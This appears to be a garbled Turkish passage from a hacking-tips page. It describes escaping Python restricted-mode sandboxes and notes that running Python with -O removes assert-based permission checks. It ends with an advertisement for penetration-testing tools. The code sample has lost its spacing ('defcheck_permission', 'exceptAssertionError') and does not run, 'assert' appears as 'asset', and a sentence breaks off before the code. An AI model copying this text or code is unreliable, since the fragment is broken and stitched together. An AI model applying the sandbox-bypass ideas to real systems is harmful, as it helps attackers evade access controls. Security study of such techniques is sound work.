Eğer eval veya exec erişiminiz yoksa, uygun bir fonksiyon oluşturabilirsiniz, ancak doğrudan çağırmak genellikle şu hata ile sonuçlanacaktır: constructor restricted modda erişilemez. Bu nedenle, bu fonksiyonu çağırmak için restricted ortamda olmayan bir fonksiyona ihtiyacınız var.
-O parametresi ile optimizasyonlarla çalıştırılan Python, asset ifadelerini ve debug değerine bağlı herhangi bir kodu kaldıracaktır.
Bu nedenle, kontroller gibi
defcheck_permission(super_user):try:assert(super_user)print("\nYou are a super user\n")exceptAssertionError:print(f"\nNot a Super User!!!\n")
Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın. Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.